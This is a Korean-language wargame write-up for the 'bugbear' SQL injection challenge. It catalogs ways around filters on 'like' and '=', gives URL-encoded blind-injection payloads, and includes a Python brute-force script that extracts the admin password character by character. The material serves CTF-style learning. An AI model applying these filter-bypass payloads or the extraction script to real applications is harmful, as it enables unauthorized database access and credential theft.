Wargame/Lord of SQLInjection
[LOS] bugbear
Grini
2019. 7. 5. 03:47
[bugbear] https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php
필터링되는 항목이 많아졌다...;;
like도,, =도 사용할 수 없다.
like, = 필터링 우회 방법과 문자열 함수를 찾아보았다.
[ 우회 방법 ]
<, >, between, in, instr, regexp
regexp는 like와 비슷하게 사용되며, 와일드 카드 대신 정규식을 이용해 비교한다.
(정규식 시작 : ^, 끝 : $)
[ 문자열 검색 함수 ]
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index('ab','b',1)
[ 문자열 비교 함수 ]
strcmp('a','a')
mod('a','a')
find_in_set('a','a')
field('a','a')
count(concat('a','a'))
[ SQL Injection 필터링 우회 ] https://security04.tistory.com/171
해당 우회 방법 및 내장 함수를 조합하여 pw를 알아낼 수 있다.
우선, like 대신 regexp를 이용하여 'Hello admin'을 출력시켜 보았다.
?no=0||id%0aregexp%0a"^admin"
위와 같이 우회할 수 있다는 것을 확인하였다.
pw 값 알아내기
?no=0||id%0aregexp%0a"admin"%26%26pw%0aregexp%0a"^a"
?no=0||id%0aregexp%0a"admin"%26%26hex(right(left(pw,n),1))<hex("[0 - 9], [a - z]")
?no=0||instr(left(pw,n),a)
python을 이용하여 pw를 찾아보았다.
[ 소스 코드 ]
#!/usr/bin/env python
# -*- coding: utf8 -*-
import requests
headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'}
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
len = 1
pw = ''
while True:
data = '?no=0||id%0aregexp%0a"admin"%26%26length(pw)<' + str(len)
r = requests.get(url + data, headers = headers)
if r.text.find('Hello admin') != -1 :
break
len += 1
print "[+] Get Password Length : ",len - 1
for i in range(1, len):
for j in string:
#'?no=0||id%0aregexp%0a"admin"%26%26hex(right(left(pw,' + str(i) + '),1))<hex(' + str(j) + ')'
data = '?no=0||id%0aregexp%0a"admin"%26%26instr(left(pw,' + str(i) + '),"' + pw + j + '")'
r = requests.get(url + data, headers = headers)
if r.text.find('Hello admin') != -1 :
pw = pw + j
print "[*] Finding ... : ",pw
break
print "[+] Found Password : ", pw
[ 실행 결과 ]
pw : 52dc3991
?pw=52dc3991
점점 필터링이 많아지고,, 어려워진다...
SQL 내장 함수나 연산자를 많이 공부해야겠다.